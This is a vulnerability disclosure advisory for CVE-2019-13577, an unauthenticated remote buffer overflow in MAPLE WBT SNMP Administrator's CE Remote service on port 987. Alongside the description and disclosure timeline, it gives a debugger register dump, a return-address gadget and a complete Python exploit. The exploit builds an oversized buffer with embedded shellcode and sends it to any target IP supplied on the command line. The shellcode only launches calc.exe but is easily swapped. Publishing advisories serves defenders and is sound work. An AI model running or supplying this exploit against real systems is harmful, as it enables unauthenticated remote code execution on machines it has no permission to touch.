Share
[+] Credits: John Page (aka hyp3rlinx)   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/MAPLE-WBT-SNMP-ADMINISTRATOR-v2.0.195.15-REMOTE-BUFFER-OVERFLOW-CODE-EXECUTION-0DAY.txt  
[+] ISR: Apparition Security   
  
  
[Vendor]  
www.computerlab.com  
  
  
[Product]  
MAPLE Computer WBT SNMP Administrator (Thin Client Administrator)  
v2.0.195.15  
  
https://www.computerlab.com/index.php/downloads/category/27-device-manager  
ftp://downloads.computerlab.com/software/SnmpSetup.195.15.EXE  
SnmpSetup.195.15.EXE - MD5 Hash: a3913aae166c11ddd21dca437e78c3f4  
  
The CLI Thin Client Manager is designed to provide remote management and control of CLI Thin Clients.  
This software is built on the TCP/IP industry standard SNMP (Simple Network Communication Protocol).  
Agents are built into the clients for remote management and configuration.  
  
  
[Vulnerability Type]  
Unauthenticated Remote Buffer Overflow Code Execution 0day  
  
  
[CVE Reference]  
CVE-2019-13577  
  
  
[Security Issue]  
SnmpAdm.exe in MAPLE WBT SNMP Administrator v2.0.195.15 has an Unauthenticated Remote Buffer Overflow via a long string to the CE Remote feature listening on Port 987.  
This will overwrite data on the stack/registers and allow for control of the programs execution flow resulting in attacker supplied remote code execution.  
Authentication is not required for this exploit.  
  
This program seems to be packed using ASPack v2.12 and can be difficult to unpack because it uses self-modifying code.  
When installing the vulnerable program if asks for a serial number just enter a value of "1" or something.  
Upon launching the program if any errors occur try right click SnmpAdm.exe and run it as Admin.  
Interestingly, it seems to drop DLLs with .tmp extensions in AppData\Local\Temp directory, make OS system files viewable in explorer to see them.  
  
e.g. C:\Users\blah\AppData\Local\Temp\~ip6B92.tmp  
  
ASLR / SEH all set to False helping to make exploit more portable.   
  
CALL EBX  
10008FB3 0x10008fb3 : call ebx | null {PAGE_EXECUTE_READ} [ipwSNMPv5.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.0.1364 (C:\Program Files (x86)\SnmpAdm\ipwSNMPv5.dll)  
  
Stack dump:  
  
EAX 41414141  
ECX 0018FEFC  
EDX 0018FF10  
EBX 022DDA78 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
ESP 0018FECC  
EBP 0018FEF4  
ESI 0018FF10  
EDI 0018FEFC  
EIP 41414141  
C 0 ES 002B 32bit 0(FFFFFFFF)  
P 1 CS 0023 32bit 0(FFFFFFFF)  
A 0 SS 002B 32bit 0(FFFFFFFF)  
Z 0 DS 002B 32bit 0(FFFFFFFF)  
S 0 FS 0053 32bit 7EFDD000(FFF)  
T 0 GS 002B 32bit 0(FFFFFFFF)  
D 0  
O 0 LastErr ERROR_NO_SCROLLBARS (000005A7)  
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)  
  
  
  
[Exploit/POC]  
from socket import *  
import struct,sys,argparse  
  
#MAPLE WBT SNMP Administrator (SnmpAdm.exe) v2.0.195.15  
#CVE-2019-13577  
#Remote Buffer Overflow 0day  
#hyp3rlinx - ApparitionSec  
  
#Pop calc.exe Windows 7 SP1  
sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"  
"\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B"  
"\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31"  
"\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA"  
"\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14"  
"\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65"  
"\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC")  
  
eip = struct.pack("<L", 0x10008fb3) #JMP EBX  
popebx = struct.pack("<L", 0x022C0012) #5B POP EBX  
  
buf0="B"*693704   
buf1=eip  
buf2=popebx+sc+"R"*899+"W"*23975   
payload=buf0+buf1+buf2  
  
def doit(IP,payload):  
try:  
s=socket(AF_INET, SOCK_STREAM)   
s.connect((IP, 987))  
s.send(payload)  
print "CVE-2019-13577 - WBT SNMP Administrator Buffer Overflow 0day."  
print "hyp3rlinx"  
s.close()  
except Exception as e:  
print str(e)  
  
def parse_args():  
parser = argparse.ArgumentParser()  
parser.add_argument("-i", "--ipaddress", help="IP of Target CVE-2019-13577")  
return parser.parse_args()  
  
def main(args):  
doit(args.ipaddress,payload)  
  
  
if __name__ == "__main__":  
if not len(sys.argv) > 1:  
print "[*] No args supplied see Help -h"  
exit()  
main(parse_args())  
  
  
  
  
  
[POC Video URL]  
https://www.youtube.com/watch?v=THMqueCIrFw  
  
  
[Network Access]  
Remote  
  
  
[Severity]  
High  
  
  
[Disclosure Timeline]  
Vendor Notification: July 10, 2019  
Second vendor notification attempt: July 13, 2019  
No vendor replies.  
July 17, 2019 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx